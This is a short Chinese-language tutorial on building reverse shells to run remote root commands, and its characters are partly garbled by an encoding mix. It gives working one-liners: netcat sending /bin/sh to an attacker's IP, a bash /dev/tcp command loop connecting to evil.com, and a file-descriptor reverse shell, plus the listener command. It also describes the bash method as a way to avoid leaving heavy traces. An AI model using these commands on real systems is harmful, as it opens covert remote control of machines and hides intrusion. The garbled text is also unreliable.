如何創(chuàng)建反向Shell來執(zhí)行遠(yuǎn)程Root命令
反向shell(Reverse shell)是一種往遠(yuǎn)程機(jī)器發(fā)送shell命令的技術(shù),當(dāng)遠(yuǎn)程機(jī)器處在防火墻等其它東西后面時,這種技術(shù)會變得非常有用。你也許會說,“一個普通的shell或簡單的SSH通道不是也能實現(xiàn)這些嗎?”不,無法實現(xiàn)。在網(wǎng)上,我看到很多人對普通shell和反向shell之間的區(qū)別分不清。在我們開始下面的內(nèi)容前,先弄清楚這些概念。
反向Shell(Reverse Shell)
反向shell的工作方式是遠(yuǎn)程計算機(jī)將自己的shell發(fā)送給特定的用戶,而不是將shell綁定到一個端口上。后者在很多環(huán)境中是無法訪問的。這樣,你就可以對遠(yuǎn)程服務(wù)器執(zhí)行root命令。
Bind Shell
bind shell是用戶用BSAH,將shell綁定到一個本地端口上,這樣任何人都可以在本地網(wǎng)絡(luò)中發(fā)送命令。
反向shell經(jīng)常會被黑客用來做一些不法行為,例如入侵了一臺服務(wù)器后,他們會設(shè)置一個反向shell,將來他們就能通過這個shell輕松的訪問這臺遠(yuǎn)程計算機(jī)。我相信你是不會用它來做這種事情的。
環(huán)境要求
- 遠(yuǎn)程Unix主機(jī)
- 安裝了netcat
使用NetCat實現(xiàn)反向shell交互
當(dāng)通過shell登錄到遠(yuǎn)程主機(jī)后,下面的指令能輕松的將shell發(fā)送到你的機(jī)器上:
- nc -c /bin/sh <你的IP> <任何一個未封鎖的端口>
你甚至能通過netcat來pipe BASH。
- /bin/sh | nc <你的IP> <任何未封鎖的端口>
然后監(jiān)聽這個shell:
- nc -l -p <相同的端口> -vvv
通過BASH實現(xiàn)反向shell
這種技術(shù)是當(dāng)遠(yuǎn)程機(jī)器上沒有netcat或你想做一些非自然的事情而不想留下太重的痕跡時使用。
監(jiān)聽shell:
- nc -l -p <任何未封鎖的端口> -vvv
先創(chuàng)建一個新的描述符,分配到一個網(wǎng)絡(luò)節(jié)點。這樣我們可以對這個描述符進(jìn)行讀寫。
- exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done
或另外一個反向shell:
- 0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196
這樣,你就可以輕松是通過netcat發(fā)送任何命令了。